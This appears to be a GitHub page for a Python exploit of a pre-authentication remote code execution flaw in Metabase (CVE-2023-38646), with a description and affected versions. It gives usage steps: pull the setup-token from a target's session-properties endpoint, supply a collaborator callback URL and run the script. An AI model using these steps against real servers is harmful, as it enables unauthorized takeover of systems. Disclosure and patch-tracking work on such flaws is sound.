kh4sh3i/cve-2023-38646Exploit Python pour l'exécution de code à distance avant authentification sur Metabase (CVE-2023-38646) avec extraction du setup-token et callback collaborator pour la compromission du serveur sans authentification.
Metabase est un outil de business intelligence open source qui permet de créer des graphiques et des tableaux de bord à partir de données provenant de diverses bases de données et sources de données. C'est un projet populaire, avec plus de 33 000 étoiles sur GitHub, et il a fait l'objet de nombreuses analyses du point de vue de la recherche de vulnérabilités ces dernières années.
Les versions de Metabase open source antérieures à 0.46.6.1 et Metabase Enterprise antérieures à 1.46.6.1 permettent aux attaquants d'exécuter des commandes arbitraires sur le serveur, avec le niveau de privilège du serveur. L'authentification n'est pas requise pour l'exploitation. Les autres versions corrigées sont 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 et 1.43.7.2.
* go to : http://target.com/api/session/properties
* copy : setup-token
* get collaborator url
python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>
Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2